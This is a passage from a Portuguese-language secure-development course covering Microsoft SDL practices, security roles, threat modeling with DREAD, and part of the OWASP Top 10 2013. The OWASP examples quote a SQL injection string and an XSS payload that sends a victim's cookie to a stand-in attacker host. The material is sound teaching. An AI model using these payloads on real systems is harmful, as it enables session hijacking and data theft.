segurança críticos.

Prática do SDL 12: Teste de fuzzing . O teste de fuzzing é uma forma

especializada de análise dinâmica usada para induzir a falha do programa ao

introduzir deliberadamente dados defeituosos ou aleatórios a um aplicativo. A

estratégia de teste de fuzzing é derivada do uso planejado do aplicativo e das

especificações funcionais e de design para o aplicativo.

Prática do SDL 13: Modelo de ameaças e revisão da superfície de

ataque. É comum para um aplicativo desviar significativamente das

especificações funcionais e de design criadas durante as fases de requisitos e

design de um projeto de desenvolvimento de software. Por isso, é essencial

revisar os modelos de ameaça e a medição da superfície de ataque quando o

código estiver concluído. Essa revisão garante que eventuais alterações de

design ou de implementação sejam consideradas e que os novos vetores de

ataque criados como resultado das alterações sejam revisados e mitigados.



Fase de liberação. Esta é a última fase do ciclo de vida do SDL e

consiste nas práticas finais: 14 a 16.

Prática do SDL 14: Plano de resposta de incidentes. Toda liberação de

software sujeita aos requisitos do SDL deve incluir um plano de resposta de

incidentes. Mesmo os programas sem vulnerabilidades aparentes podem estar

sujeitos a novas ameaças que surgem com o tempo. O plano de resposta de

incidentes deve incluir:

Uma equipe de SE (engenharia sustentada) identificada ou, se a equipe

for muito pequena para ter recursos de SE, um ERP (Plano de resposta

de emergência) que identifica as equipes de engenharia, de marketing,

de comunicações e de gerenciamento adequadas para agir como pontos

de contato primário em uma emergência de segurança.

Lista de contatos com autoridade de tomar decisões 24 horas por dia,

sete dias por semana.

Planos de serviço de segurança para código herdados de outros grupos

dentro da organização.

Planos de serviço de segurança para código de terceiros licenciados,

incluindo nomes de arquivo, versões, código-fonte, informações de

contato de terceiros e permissão contratual para fazer alterações.

Prática do SDL 15: Revisão final de segurança. A FSR (Revisão final de

segurança) é um exame programado de todas as atividades de segurança

realizadas em um aplicativo antes de sua liberação. É realizada pelo consultor

de segurança com a ajuda da equipe de desenvolvimento regular e dos líderes

das equipes de segurança e de privacidade. A FSR não somente é uma parte

crucial do SDL, é também um processo complexo com muitas tarefas

importantes. Ela geralmente inclui um exame dos modelos de ameaça, das

solicitações de exceção, da saída de ferramentas e do desempenho com

relação aos portões de qualidade ou das barras de erros previamente

determinados. Pode ter um de três diferentes resultados:

FSR aprovada , quando todos os problemas de segurança e de

privacidade identificados pelo processo de FSR foram corrigidos ou

mitigados.



FSR aprovada com exceções (por exemplo, vulnerabilidades impostas

por problemas antigos de “nível de design”), que são registradas para

correçãi na próxima versão.

FSR com escalação . Se a equipe não satisfizer todos os requisitos do

SDL e o consultor de segurança e a equipe do produto não atingir um

compromisso aceitável, o consultor de segurança não poderá aprovar o

projeto, e ele não poderá ser liberado. As equipes devem abordar todos

os requisitos do SDL possíveis antes de lançar ou escalar para que a

diretoria executiva tome uma decisão.

Prática do SDL 16: Liberar/Arquivar. A Liberação do software para

fabricação (RTM) ou liberação para a web (RTW) depende da conclusão do

processo do SDL. O consultor de segurança designado para a liberação deve

certificar (usando a FSR ou outros dados) que a equipe do projeto satisfez os

requisitos de segurança. Isso deve ocorrer para todos os produtos que

possuem ao menos um componente com a Classificação de impacto de

privacidade de P1.

Além disso, todos os dados e informações do projeto devem ser

arquivados. Isso inclui todas as especificações, código-fonte, binários, símbolos

particulares, modelos de ameaça, documentação, planos de resposta de

emergência, licença e termos de instalação para qualquer software de terceiros

e quaisquer outros dados necessários para desempenhar tarefas pós-

lançamento.

Chegamos ao final deste Capítulo 3, que nos permitiu maior proximidade

com o processo de segurança em desenvolvimento. Aqui, você obteve uma

visão geral do Security Development Lifecycle (SDL); percorreu quatros fases

do ciclo de desenvolvimento seguro, nomeadamente as fases de planejamento;

de design; de implementação; e de administração da solução.



Em RESUMO: Segurança => sofre pressões do mercado; implica proteger infraestruturas críticas e criar e

preservar cultura de confiança em TI. Aspectos-chaves para software seguro => processo repetitivo, treinamento; métricas e

responsabilidades. Microsoft Security Development Lifecycle (SDL) => proposta Microsoft para criação de

processos com práticas de segurança consistentes. SDL => envolve garantia de segurança em web services com foco no ciclo de vida do

desenvolvimento de software. Estratégia de segurança do SDL baseia-se na regra SD3+C, que corresponde aos

princípios do desenvolvimento seguro:- Secure by Design (segurança por design), - Secure by Default (segurança por padrão), - Secure in Deployment (segurança na implantação - desenvolvimento/produção), e - Communications (comunicação). Modelo de processo SDL = Ciclo de vida SDL => 7 FASES (adaptáveis ao contexto); Fases SDL => teinamento (pré-fase), requisitos, design, implementação, verificação,

liberação, resposta; Exemplo de adaptação no modelo de processo SDL (5 fases) => planejamento

(requisitos); design; implementação; verificação; liberação. Níveis de maturidade do SDL (para práticas e capacidades) => básico, padronizado,

avançado e dinâmico. Modelo do SDL => não é um processo de desenvolvimento em 'cascata'. Modelo do SDL => É processo em 'espiral', no qual os requisitos e o design são

revisitados diversas vezes durante a implementação Recomendação de treinamento => prática 1 do SDL, com mínimo anual (projeto de

segurança; modelagem de ameaças; codificação segura; testes de segurança; privacidade).

Práticas SDL => total de 16 práticas, sendo 1 na pré-fase de treinamento e três práticas em cada uma das demais fases até a liberação (requisitos, design, implementação, verificação, liberação).

Práticas do SDL na Fase de Planejamento => prática 2: requisitos de segurança; prática 3: portões de qualidade/barras de erros; prática 4: avaliações de riscos de segurança (SRAS) e de privacidade (PRAS).

Práticas do SDL na Fase de Design => prática 5: requisitos de design; prática 6: redução da superfície de ataque; prática 7: modelagem de ameaças.

Práticas do SDL na Fase de Implementação => prática 8: Utilizar ferramentas aprovadas; prática 9: desaprovar funções não seguras; prática 10: análise estática.

Práticas do SDL na Fase de Verificação (administração) => prática 11: análise de programa dinâmica; prática 12: teste de fuzzing; prática 13: modelo de ameaças e revisão da superfície de ataque.

Práticas do SDL na Fase de Liberação (administração) => prática 14: plano de resposta de incidentes; prática 15: revisão final de segurança (FSR) ; prática 16: liberar/arquivar.

FSR => aprovada, aprovada com exceções; com escalação

4. Papéis e Responsabilidades



O Capítulo 4 apresenta como importantes papéis e responsabilidades

são vistos no contexto do SDL. Ao longo desta unidade de aprendizagem você

conhecerá cada um dos seguintes perfis, assim como suas atribuições:

revisores,

especialistas,

auditores e

facilitadores.

Funções, responsabilidades e qualificações da equipe de segurança são

definidas pelo SDL, que estabelece critérios e descrições de atividades para as

atribuições gerais de segurança e de privacidade. Tais funções possuem

natureza consultiva e são cumpridas durante a fase de requisitos do processo

do SDL, como ocorre com o preenchimento da 'equipe de segurança central'.

A equipe de segurança deve ter alta disponibilidade para interações no

processo de desenvolvimento e criação do software; além de ser confiável

quanto a detenção de informações comerciais e técnicas confidenciais. Esses

requisitos apontam para a necessidade de criação de uma equipe de

segurança, que pode conter elementos da própria organização ou ser formada

a partir da contratação de consultores que auxiliarão na criação e treinamento

dos membros da equipe.

O time de segurança em desenvolvimento deve conduzir as atividades

de segurança em desenvolvimento e ser composto por: revisores, responsáveis

por políticas e métricas, testadores e orientadores. Esses profissionais, sejam

da empregados da organização ou consultores externos, devem ter

conhecimento e experiências relacionadas a segurança, além de perfil de

engenharia de software.

Com base nas funções que define, o SDL estabelece uma estrutura

organizacional capaz de identificar, catalogar e mitigar os problemas de

segurança e de privacidade característicos de um projeto de desenvolvimento

de software. Vejamos, agora, algumas dessas funções, mais especificamente

as de revisores, especialistas, auditores e facilitadores.



4.1. Revisores

A atuação dos revisores pode ocorrer em qualquer fase do ciclo de vida

do software, mas possui maior adequação no momento da revisão final de

segurança (FSR), envolvendo-se com as práticas 15 a 17 do SDL:

promove a FSR, examinando cuidadosamente todas as atividades de

segurança antes da liberação do software;

examina os modelos de ameaça, as solicitações de exceção, a saída de

ferramentas e o desempenho com relação aos portões de qualidade ou

das barras de erros previamente determinados.

aprova a FSR, caso todos os problemas de segurança e de privacidade

identificados tenham sido corrigidos ou mitigados.

aprova a FSR, com exceções caso haja vulnerabilidades pendentes,

mas a essencia dos problemas de segurança e de privacidade

identificados tenham sido corrigidos ou mitigados.

define a condição de FSR com escalação, se a equipe de segurança

não satisfizer todos os requisitos do sdl e o consultor de segurança e a

equipe do produto não atingir um compromisso aceitável.

Atividade excepcional, a revisão manual de código é uma tarefa opcional

no SDL e é geralmente desempenhada por indivíduos altamente habilidosos no

aplicativo da equipe de segurança e/ou o consultor de segurança, não raras

vezes os revisores. A revisão manual de código é focada nos componentes

críticos de um aplicativo. É frequentemente usado onde dados importantes,

como informações de identificação pessoal (PII), são processados ou

armazenados. Também é usado para examinar outras funcionalidades críticas

como implementações.

Mesmo sendo predominantemente ligado às atividades da FSR,

revisores podem ser designados para assumir atividades especializadas

relacionadas à engenharia de requisitos, desde que previamente estabelecido

no planejamento do projeto. Nesse caso, pode realizar as seguintes tarefas:

especificar o ambiente operacional

identificar a política de segurança global



identificar recursos e limites de confiança

identificar funções de usuário e de recursos

documentar requisitos de segurança relevantes

detalhar casos de uso indevido

identificar a superfície de ataque

aplicar os princípios de segurança para a concepção

realizar análise de segurança de requisitos do sistema e design

(modelagem de ameaças) e avaliar a postura de segurança de soluções

de tecnologia

gerenciar o processo de divulgação do problema de segurança

4.2. Especialistas

O especialista pode assumir na equipe como um empregado da

organização ou como um consultor-especialista. Em ambas as situações, deve

ter grande experiência comprovada nos assuntos de segurança.

Devido à amplitude de seu conhecimento, especialistas podem atuar

como facilitadores, auditores e até revisores. Entretanto, como desenvolvedor

dos sistemas de informação o especialista pode contribuir fortemente com o

processo de segurança ao longo do ciclo de vida dos softwares, assumindo

tarefas que, sem bem conduzidas, podem favorecer a segurança do produto

final. Entre as tarefas que o especialista-desenvolvedor pode assumir, estão:

planejar o desenvolvimento do sistema de informação, usando como

referência os requisitos técnicos de segurança;

desenvolver o sistema de informação de acordo com os requisitos de

segurança planejados, produzindo matriz de rastreabilidade entre o

que foi implementado e o que havia sido estabelecido.

produzir evidências e testar o sistema de informação para assegurar o

cumprimento dos requisitos de segurança.

realizar testes de vulnerabilidade nos sistemas, inclusive de forma

automática, e

gerar relatórios e demais documentos para revisão, comunicação e

controle.



resolver ou mitigar vulnerabilidades de alto impacto antes de colocar

os sistemas desenvolvidos em produção.

4.3. Auditores

O auditor é responsável por monitorar cada fase do processo

de desenvolvimento de software e certificar a conclusão

bem-sucedida de cada requisito de segurança. Deve ter a liberdade de

certificar a conformidade (ou não conformidade) com os requisitos de

segurança e de privacidade sem a interferência da equipe do projeto.

Auditores de segurança possuem as seguintes funções principais:

responder pela análise de segurança dos requisitos do sistema; pela segurança

do processo de modelagem de ameaças (design); promover revisão de

segurança em nível de origem.

No cumprimento de sua função, o papel da auditoria de desenvolvimento

seguro de sistemas pode ser discriminado nas seguintes atividades:

Avaliar o sistema geral de segurança da organização, identificando

todos os controles dos sistemas individuais de informação;

Rever tecnologias, procedimentos, documentação, treinamento e

recursos humanos;

Listar e classificar todos os pontos fracos do controle e estima a

probabilidade de ocorrerem erros nesses pontos.

Avaliar o impacto financeiro e organizacional de cada ameaça.

Simular ataques ou desastres para verificar como os recursos

tecnológicos, a equipe de sistemas de informação e os funcionários da

empresa reagem.

4.4. Facilitadores

Conduzem o treinamento e a capacitação da equipe de segurança. Com

o processo iniciado, e contando com o apoio da gestão corporativa, é preciso:

treinar os envolvidos;



desenvolver materiais e recursos para atualização e conscientização

quanto à necessidade de segurança;

criar e alimentar a cultura de segurança da organização.

pesquisar e informar (comunicar) o time de segurança quanto às

fontes de pesquisa em torno da temática.

Chegamos ao final do Capítulo 4, no qual você teve a oportunidade de

conhecer como os seguintes papéis e responsabilidades são vistos no contexto

do SDL: revisores, especialistas, auditores e facilitadores.

Considerando a característica diferenciada do conteúdo desta unidade

de aprendizagem, por si só composta de tópicos objetivos, concluiu-se que ela

não comporta um tópico Em RESUMO.



Capítulo 5. Introdução a Modelagem de Ameaças

Esta unidade de aprendizagem introduz brevemente o processo de

modelagem de ameaças do SDL, especificando sua estrutura e suas fases. As

principais referências utilizadas para elaboração do conteúdo deste capítulo

foram o manual Microsoft Security Development Lifecycle Process 5.2 (2012) e

o Módulo TechNet Library: Modelagem de Ameaças de Segurança, disponível

no website institucional da Microsoft® Corporation.

A modelagem de ameaças é um processo dentro do ciclo de vida do

desenvolvimento de software seguro. Ela consiste no levantamento de contra-

medidas de segurança voltadasa a resolver as ameaças ao software. O

processo de modelagem de ameaça deve ser aplicado no início do projeto e

acompanhar todo o ciclo de vida da aplicação.

Modelos de ameaças possuem importância crítica na construção do

software seguro, pois são considerados indispensáveis para entender como

seu produto pode ser atacado e como defendê-lo. São também excelente

maneira de diagnosticar a saúde de um processo de desenvolvimento de

software, pois permite que as equipes de segurança estejam mais em sintonia

com as ameaças ao seu código e, portanto, consigam construir melhores

modelos de ameaça.

Seguindo o processo atualizado de modelagem de ameaças, é possível

monitorar sistematicamente a aplicação, classificar o risco de cada ameaça, e

determinar as atenuações apropriadas para o contexto. Modelagem de

ameaças também pode ajudar a realizar análises de código e construir testes

de penetração.

A elaboração de modelos de ameaças permite a identificação

sistemática e a estimativa das ameaças que mais atacam o seu

sistema. Modelos de ameaças possuem abordagem estruturada,

financeiramente efetiva, direcionada a ameaças previamente identificada com

recomendação de tratamento.

Ao entender e aplicar a metodologia de elaboração de modelos de

ameaças, você terá mais condições de identificar e estimar ameaças

existentes, a partir do entendimento efetivo das vulnerabilidades que atingem

sua aplicação. Com tais informações, você conseguirá não só identificar as



ameaças, mas também priorizá-las, podendo tratá-las em uma ordem lógica,

começando com aquelas que apresentam maiores riscos.

ATENÇÃO:

A Microsoft® disponibiliza em seu website diversas ferramentas gratuitas para o SDL. A

Ferramenta de Modelagem de Ameaças da Microsoft® 2016, por exemplo, contém o aplicativo,

guia da ferremanta, manual de usuário e orientações em vídeo. Você pode fazer o download

em: <https://www.microsoft.com/en-us/SDL/adopt/tools.aspx>.

Antes de iniciar os estudos do processo de elaboração de modelos de

ameaças, vamos recordar alguns termos básicos:

Recurso . Algo de valor, tangível ou não, tais como os dados no banco de

dados ou em um sistema de arquivo. Um recurso do sistema.

Ameaça . Ocorrência potencial, maliciosa que pode danificar ou

comprometer seus recursos.

Vulnerabilidade . Fraqueza ou recurso de um sistema, capaz de viabilizar

uma ameaça. As vulnerabilidades podem existir na rede, no host ou nos

níveis de aplicação.

Ataque (ou exploração). Ação realizada por algo ou alguém que prejudica

um recurso. Pode ser alguém que segue em direção a uma ameaça

ou explora uma vulnerabilidade.

Medida . Ação (garantia) adotada para tratar a ameaça e reduzir o risco.

EXEMPLO:

Uma jóia, dentro de uma casa, é um recurso e o assaltante é o invasor. Uma porta é um

recurso da casa e uma porta aberta representa uma vulnerabilidade. O assaltante pode

explorar a porta aberta para obter acesso a casa e roubar a jóia. Em outras palavras, o invasor

explora uma vulnerabilidade para obter acesso a um recurso. A medida apropriada, neste caso,

é trancar a porta.

Tenha em mente que, mesmo que você possa reduzir o risco de um

ataque, você nunca consegue reduzir ou eliminar a ameaça. Ameaças existem,

independentemente das medidas de segurança que você adote. No mundo da

segurança, o máximo que se pode fazer é detectar a presença de ameaças e

gerenciar seus riscos.


https://www.microsoft.com/en-us/SDL/adopt/tools.aspx


Nesse sentido, a elaboração de modelos de ameaças, ajuda a gerenciar

e comunicar os riscos para as equipes de segurança. Algo que deve ser tratado

como um processo iterativo. O modelo de ameaças deve ser visto como um

item dinâmico que muda continuamente à medida em que surgem novos tipos

de ameaças e ataques.

5.1. O Processo de Modelagem de Ameaças

A Figura 8 mostra o processo de elaboração de modelos que pode ser

desenvolvido utilizando um processo de seis estágios e que é aplicável para

aplicações que estão em andamento e para as já existentes. Ele envolve as

seguintes fases:

Identificar os recursos de valor que seus sistemas devem proteger.

Criar um resumo da arquitetura de sua aplicação, com base em diagramas

e tabelas simples, documentando inclusive subsistemas, limites de

confiança e fluxo de dados.

Decompor a arquitetura da aplicação , incluindo rede principal, projeto de

infra-estrutura de rede. O objetivo é criar um perfil de segurança para a

aplicação, de forma a dar cobertura às vulnerabilidades no design,

implementação ou configuração de implantação da sua aplicação.

Identifique as ameaças . Ter em mente os objetivos de um invasor e o

conhecimento da arquitetura e das vulnerabilidades potenciais de sua

aplicação identifica as ameaças que poderiam afetar a sua aplicação.

Documente as ameaças , usando um modelo comum que defina um

conjunto principal de atributos para cada ameaça.

Estime as ameaças , para priorizar e tratar primeiro as mais significativas,

que representam o maior risco. O processo de estimativa mede a

probabilidade da ameaça contra os danos que poderiam ocorrer caso um

ataque ocorra.



Figura 8 - Visão geral do processo de modelagem de ameaças. FONTE: https://technet.microsoft.com/pt-br/pt%C2%ADbr/library/dd569893.aspx

O principal resultado (produto, artefato) do processo de modelagem de

ameaças é um documento (ou conjunto de documentos) que contém

informações de fundo sobre o aplicativo e define o modelo de aplicativo de alto

nível, frequentemente usando: diagramas de fluxo de dados (DFDs); uma lista

de ativos que requerem proteção; ameaças ao sistema classificado por risco,

constituindo uma lista com informações relevantes.

Tal documento é destinado aos vários membros do projeto. Ele lhes

permite entender com clareza as ameaças que precisam ser tratadas e como

fazer isso. Os modelos de ameaças consistem de uma definição da arquitetura

da aplicação e de uma lista de ameaças para o seu cenário da aplicação:

O primeiro passo, identificar os recursos, pode envolver desde dados

confidenciais, como bancos de dados, até páginas da web, disponibilidade do

site. Na segunda fase, criar uma arquitetura, envolve as tarefas de identificar o

que a aplicação faz; criar um diagrama da arquitetura; identificar as

tecnologias. A terceira etapa, decompor a aplicação requer a realização das

seguintes tarefas: identificar limites de confiança; identificar o fluxo de dados;

identificar os pontos de entrada; identificar código privilegiado; documentar o

perfil de segurança.

No quarto passo, é necessário identificar as ameaças que podem afetar

o seu sistema e comprometer seus recursos. As tarefas dessa etapa

são: identificar ameaças de rede; identificar ameaças de hosts; identificar

ameaças de aplicação.



ATENÇÃO!

Árvores de Ataque e Padrões de Ataque são ferramentas importantes, muito utilizadas pelos

profissionais de segurança. Embora não sejam componentes da fase de identificação, você

pode considerar útil usá-las nesse processo. Elas permitem análise profunda, ampliando as

possibilidades de identificação. Saiba mais em: <https://technet.microsoft.com/pt-br/pt

%C2%ADbr/library/dd569893.aspx>.

No passo 5, para documentar as ameaças da aplicação, é importante

utilizar um modelo que permita evidenciar diversos atributos das ameaças,

como sua descrição e seu alvo, que são atributos essenciais.

Finalmente, no passo 6, ao estimar as ameaças, já é possível trabalhar

com a lista de ameaças obtidas pelas tarefas realizadas nas fases anteriores.

Esse é o passo final do processo e pode-se estimar as ameaças com base nos

seus riscos potenciais. O que também ajudará a priorizar o tratamento das

ameaças, permitindo resolver primeiramente as que apresentam os maiores

riscos e depois resolver as outras.

No estágio final do processo, é preciso levar em conta algumas

questões. Por exemplo: como saber se é economicamente viável tratar todas

as ameaças identificadas, mesmo priorizando-as? Posso ignorar algumas

delas? Qual a chance de ocorrência de uma ameaça?

Vamos respondê-las, falando um pouco sobre a estratégia de

priorização de ameaças proposta pela Microsoft, como parte do SDL. Observe

a seguinte fórmula:

Risco = Probabilidade * Potencial de Danos.

Ela indica que o risco apresentado por uma ameaça é representada

pela probabilidade de ocorrência da ameaça multiplicada pelo potencial de

danos de um eventual ataque que venha a ocorrer.

Suponha que tanto a probabilidade quanto os danos sejam medidos em

uma escala de 1 a 10, sendo que 1 representa menor probabilidade e danos

mínimos, enquanto 10 maior probabilidade e danos catastróficos.

Com esse conceito, o risco representado por uma ameaça com uma

baixa probabilidade de ocorrer, mas com grande potencial de danos, pode ser



considerado igual ao risco apresentado pela ameaça com baixo potencial de

danos, mas grandes chances de ocorrer.

Esse modelo permite medidas em uma escala de 1 a 100, que pode ser

dividada em três áreas para gerar uma estimativa Alta, Média ou Baixa

(lembre-se de que ainda estamos no Passo 6: Estimar Ameaças). Ocorre que

uma escala simples de prioridades Alta, Média e Baixa para estimar o

tratamento de ameaças ainda parece muito simplista. Por isso, a Microsoft

propõe o modelo DREAD (Damage, Reproduction, Exploration, Affected,

Discovery).

Com o modelo DREAD é possível estimar o risco de certa ameaça, a

partir dos seguintes questionamentos mínimos:

Potencial de Danos (Damage): Qual o tamanho do dano se a

vulnerabilidade for explorada?

Capacidade de Reprodução (Reprodution): Com que facilidade um ataque

é reproduzido?

Capacidade de Exploração (Exploration): Com que facilidade um ataque é

lançado?

Usuários afetados (Affected): Quantos usuários são afetados?

Descoberta (Discovery): Com que facilidade é encontrada a

vulnerabilidade?

Para fazer uso do método, é necessário estabelecer uma escala de

medida para os DREADs (crescente de 1 a 5, por exemplo) e elaborar uma

tabela na qual serão ranqueadas todas as ameaças mapeadas. A Tabela x

exemplifica uma estimativa DREAD realizada com quatro ameaças.

Descrição da ameaça D R E A D TOTAL ESTIMATIVA

O invasor pode obter as credenciais de autenticação

monitorando a rede.4 3 3 4 2 16 MÉDIA

Os comandos do SQL são injetados na aplicação. 4 2 1 1 1 9 BAIXA

Uma aplicação de reservas de passagens aéreas suporta

reescrita de URL, colocando IDs de sessão na URL.4 3 3 3 2 15 MÉDIA

Uma falha de upload de arquivos permite que um atacante

recupere o arquivo de senhas.5 4 3 4 3 19 ALTA

Tabela 3 - Estimativa DREAD.FONTE: Adaptação da autora, a partir de conteúdos disponíveis em: https://technet.microsoft.com/



Depois da elaboração dos modelos de ameaça, é preciso elaborar a

documentação dos aspectos de segurança mapeados e uma lista de ameaças

relacionadas. O modelo de ameaça devidamente documentado é instrumento

importante para envolver os membros da equipe de segurança no

desenvolvimento e para focar nas mais potentes ameaças.

Chegamos ao final do Capítulo 5, ao longo do qual você conheceu a

estrutura e as fases do processo de modelagem de ameaças.

Em RESUMO: Rever termos básicos => recurso, ameaça, vulnerabilidade, ataque (ou exploração),

medida. Lembrar => é possível reduzir os riscos, mas não eliminar ameaças; Modelos de ameaças => ajudam a detectar a presença de ameaças e gerenciar seus

riscos. Processo de modelagem de ameaças => 6 estágios: identificar os recursos; criar um

resumo da arquitetura; decompor a arquitetura da aplicação; identifique as ameaças; documente as ameaças; estime as ameaças.

Identificar os recursos => desde dados confidenciais até páginas da web e disponibilidades do site.

Criar uma arquitetura => identificar o que a aplicação faz; criar um diagrama da arquitetura; identificar as tecnologias.

Decompor a aplicação => identificar limites de confiança; identificar o fluxo de dados; identificar os pontos de entrada; identificar código privilegiado; documentar o perfil de segurança.

Identificar as ameaças => identificar ameaças de rede; identificar ameaças de hosts; identificar ameaças de aplicação.

Documentar as ameaças => utilizar um modelo capaz de evidenciar atributos das ameaças.

Estimar as ameaças => usar lista de ameaças obtidas nas tarefas anteriores; estimar ameaças com base nos seus riscos potenciais; priorizar tratamento das ameaças, resolvendo primeiramente as de maiores riscos.

Estratégias de priorização => Risco = Probabilidade * Potencial de Danos. Estratégias de priorização => DREAD (Damage, Reproduction, Exploration, Affected,

Discovery).



6. As Vulnerabilidades do OWASP Top 10 2013

Este Capítulo 6 apresenta a comunidade internacional Open Web

Application Security Project (OWASP) já referida algumas vezes ao longo do

Curso, sendo indispensável recurso de segurança para profissionais e

organizações.

Nesta unidade de aprendizagem você:

conhecerá a proposta OWASP Top 10;

identificará de forma discriminada todas as vulnerabilidades do

OWASP Top 10 2013.

A Open Web Application Security Project (OWASP) é uma entidade sem

fins lucrativos e de reconhecimento internacional, que contribui para a

melhoria da segurança de softwares aplicativos de base web. Dedica-se a

capacitar as organizações para desenvolver, adquirir e manter aplicações

confiáveis, reunindo informações que possibilitam avaliar riscos de segurança

e combater ataques através da internet.

Estudos e documentos da OWASP são disponibilizados para a

comunidade internacional, sendo adotados como referência por muitas

organizações de porte e renome.

O trabalho mais conhecido da OWASP é a lista The Top 10 Most

Critical Web Appl ication Security Risks, documento que reúne os riscos

de ataque mais críticos exploráveis a partir de vulnerabilidades de aplicações

web. A lista OWASP Top 10 é uma atualizada periodicamente e seus tópicos

servem de parâmetros para controle de segurança em todo o mundo.

A OWASP utiliza a Risk Rating Maethodology para priorizar sua lista Top

10, que é atualizada periodicamente a partir de um banco de dados resultante

de pesquisas estatísticas sobre ataques de segurança identificados

mundialmente. Com base na Top 10, a OWASP identifica os ataques de maior

risco e faz recomendações de segurança capazes de evitar aqueles ataques

ao longo das etapas do desenvolvimento das aplicações. O que permite



diminuir o desperdício de tempo, dinheiro, recursos e de controles inúteis, ao

tempo em que aumenta as chances de foco no mapeamento dos riscos reais.

Muitas das vulnerabilidades que compõem o ranking envolvem tanto

falhas de projeto, quanto de aplicação, ambos promovidos por pessoas

envolvidas no processo de desenvolvimento das aplicações.

O documento OWASP TOP 10 nos conscientiza quanto a um fato

inquestionável: as vulnerabilidades que o compõem existem e estão sendo

detectadas e exploradas por oportunistas. Cabe-nos, portanto, tomar as

medidas preventivas para evitá-las e gerir os riscos dela decorrentes.

Essta unidade de aprendizagem trata especificamente das

vulnerabilidades publicadas pelo projeto OWASP TOP 10 correspondente ao

ano de 2013. São cerca de 500.000 vulnerabilidades, originárias de centenas

de organizações, a partir de milhares de aplicações. Foram todas

hierarquizadas de acordo com o nível de exploração, detecção e impacto

estimado. Estão consolidadas no ranking OWASP Top 10 2013, a seguir

relacionadas e discriminads de forma breve. Informações detalhadas podem

ser obtidas diretamente no website institucional da OWASP.

6.1. A1: Injeção (Injection)

Figura 9 - OWASP Top 10 2013 A1. FONTE: https://www.owasp.org

A OWASP TOP 10 2013 trata inicialmente das vulnerabilidades do tipo

injecção de códigos, normalmente exploradas por erros na programação das

consultas.



Falhas de Injeção ocorrem quando dados não confiavéis são enviados

para um interpretador como parte de um comando ou consulta. Os dados

manipulados pelo atacante tendem a iludir o interpretador para que execute

comandos indesejados ou permita o acesso a dados não autorizados.

As injeções SQL são dos mais comuns exemplos deste tipo de

vulnerabilidades, que também pode ocorrer como injeção dee Sistema

Operacional (SO) e de LDAP.

Exemplo de Cenário de Ataque

A aplicação utiliza dados não confiáveis na construção da seguinte chamada SQL vulnerável:

String query = "SELECT * FROM accounts WHERE

custID='" + request.getParameter("id") + "'";

O atacante pode modificar o valor do parâmetro ‘id’ em seu navegador para enviar: ' or '1'='1.

Por exemplo: http://example.com/app/accountView?id=' or '1'='1. Essa alteração muda o

significado de ambas as consultas para retornar todos os registros da tabela de contas.

6.2. A2: Quebra de Autenticação e Gerenciamento de Sessão (Broken Authentication and Session Management)


Na segunda posição do OWASP Top10 2013 estão as vulnerabilidades

relacionadas ao manuseio indevido de sessões e consequentes da exploração

de falhas de desenvolvimento, que permitem aos atacantes comprometer

tokens, senhas e, até mesmo, explorar vulnerabilidade dentro de aplicações.



As funções relacionadas com autenticação e gerenciamento de sessão

possivelmente foram implementadas incorretamente, permitindo que os

atacantes comprometam senhas, chaves e tokens de sessão ou, ainda,

explorem outra falha da implementação para assumir a identidade de outros

usuários.


Uma aplicação de reservas de passagens aéreas aceita reescrita de URL, colocando

IDs de sessão na URL:

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?

dest=Hawaii

Um usuário autenticado avisa aos amigos que fez a venda (ou a compra) daquele

bilhete de passagem e resolve mandar um e-mail: #PartiuHawaii, com o link acima sem saber

que com isso também está enviando a sua ID da sessão. Qualquer um que utilizar aquele link,

terá acesso a sua sessão e cartão de crédito.

6.3. A3: Cross-Site Scripting (XSS)


A terceira categoria de vulnerabilidades mais comuns está no âmbito dos

Cross-Site Scripting (XSS), cujos ataques costumam ocorrer aproveitando a

falta de controle na validação dos dados inseridos pelo usuário, validação

pobre da informação inserida pelo atacante.

Falhas XSS acontecem sempre que uma aplicação recebe dados não

confiáveis e os envia ao navegador sem validação ou filtro adequados. XSS

permite aos atacantes executarem scripts no navegador da vítima que podem



“sequestrar” sessões do usuário, desfigurar sites, ou redirecionar o usuário

para sites maliciosos.


A aplicação utiliza dados não-confiáveis na construção do seguinte fragmento HTML

sem validação ou filtro:

(String) page += "<input name='creditcard' type='TEXT‘

value='" + request.getParameter("CC") + "'>";

O atacante modifica o parâmetro 'CC' em seu navegador para:

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que o

atacante sequestre a sessão atual do usuário.

6.4. A4: Referência Insegura e Direta a Objetos (Insecure Direct Object References)


Uma referência insegura e direta a um objeto pode decorrer do acesso

não autorizado a informação crítica, devido a erros no design e no

desenvolvimento. Ela acontece quando um programador expõe uma referência

à implementação interna de um objeto, como um arquivo, diretório, ou registro

da base de dados.



Se não houver a verificação do controle de acesso ou outra proteção, os

atacantes podem manipular essas referências para acessar dados não-

autorizados.


A aplicação utiliza dados não verificados em uma chamada SQL que está acessando as

informações de conta:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =

connection.prepareStatement(query , … );

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

O atacante simplesmente modifica o parâmetro ‘acct’ em seu navegador para enviar qualquer

número de conta. Se não verificado adequadamente, o atacante pode acessar qualquer conta

de usuário, em vez de somente a conta do cliente pretendido.

http://example.com/app/accountInfo?acct=notmyacc

6.5. A5: Configuração Incorreta de Segurança (Security Misconfiguration)


Decorre de configurações incorretas que podem impactar na segurança

da própria aplicação. Segurança de qualidade exige definição de uma

configuração implementada na aplicação, frameworks, servidor de aplicação,

servidor web, banco de dados e plataforma. Todas essas configurações devem



ser definidas, implementadas e mantidas, já que geralmente a configuração

padrão é insegura. Adicionalmente, o software deve ser mantido atualizado.


A listagem de diretórios não foi desativada em seu servidor. O atacante percebe que

pode listar os diretórios para encontrar qualquer arquivo. Aproveita a vulnerabilidade para

encontrar e transferir todas as suas classes Java compiladas, podendo, inclusive decompilar e

fazer engenharia reversa para obter todo o seu código customizado. Assim, ele encontra uma

falha grave de acesso de controle em sua aplicação.

6.6. A6: Exposição de Dados Sensíveis (Sensitive Data Exposure)


Exposição de dados sensíveis é uma categoria de vulnerabilidades que

se refere à incorreta proteção dos dados críticos tais como: números de cartão

de crédito, senhas, entre outros.

Atacantes podem roubar ou modificar os dados desprotegidos, para

realizar fraudes de cartões de crédito, roubo de identidade, ou outros crimes.

Dados sensíveis devem receber proteção extra bem como precauções

